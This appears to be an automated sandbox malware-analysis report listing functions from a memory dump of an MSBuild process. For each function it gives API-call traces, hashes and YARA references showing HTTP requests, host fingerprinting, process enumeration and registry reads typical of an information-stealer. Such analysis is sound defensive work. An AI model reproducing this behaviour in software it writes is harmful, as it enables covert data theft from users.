Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: UaA
API String ID: 2104210347-3893042857
Opcode ID: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,01266020), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,01267258,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 00415273
ERROR, xrefs: 0041521A

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,01267360), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 6C4E3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4E3095

Part of subcall function 6C4E35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C56F688,00001000), ref: 6C4E35D5
Part of subcall function 6C4E35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4E35E0
Part of subcall function 6C4E35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4E35FD
Part of subcall function 6C4E35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4E363F
Part of subcall function 6C4E35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4E369F
Part of subcall function 6C4E35A0: __aulldiv.LIBCMT ref: 6C4E36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4E309F

Part of subcall function 6C505B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5056EE,?,00000001), ref: 6C505B85
Part of subcall function 6C505B50: EnterCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505B90
Part of subcall function 6C505B50: LeaveCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505BD8
Part of subcall function 6C505B50: GetTickCount64.KERNEL32 ref: 6C505BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4E30BE

Part of subcall function 6C4E30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4E3127
Part of subcall function 6C4E30F0: __aulldiv.LIBCMT ref: 6C4E3140

Part of subcall function 6C51AB2A: __onexit.LIBCMT ref: 6C51AB30

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3cda8d0b88655477bd8fb28fa5a553925d5a5b22a64bc7557061ddc92daee8ac
Instruction ID: 405a4dc32825e568fb8651fdf3424f29455a902c6ef07e4d1e948e74b01bc8ed
Opcode Fuzzy Hash: 3cda8d0b88655477bd8fb28fa5a553925d5a5b22a64bc7557061ddc92daee8ac
Instruction Fuzzy Hash: A8F0F932E2474496CA11EF398C417F6B370AFAF214F526719E88557631FB2066D883CA

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01266590,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01266590,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01267078,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01267078,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01267078,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01267078,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,01266950,00000000,?,00420E24,00000000,?,00000000,00000000,?,01267108,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,01260B30,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,01266710,00000000,00000000,000000FF,000000FF), ref: 00417E7F
Part of subcall function 00417E00: RegCloseKey.ADVAPI32(?), ref: 00417E92

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01267120,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01267120,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: CreateDCA.GDI32(01250598,00000000,00000000,00000000), ref: 004187F5
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,00000008), ref: 00418804
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
Part of subcall function 004187C0: ReleaseDC.USER32(00000000,?), ref: 00418822
Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 004181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00418254

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,012632D0,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 0041848C
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CapsCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3820780155-0
Opcode ID: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
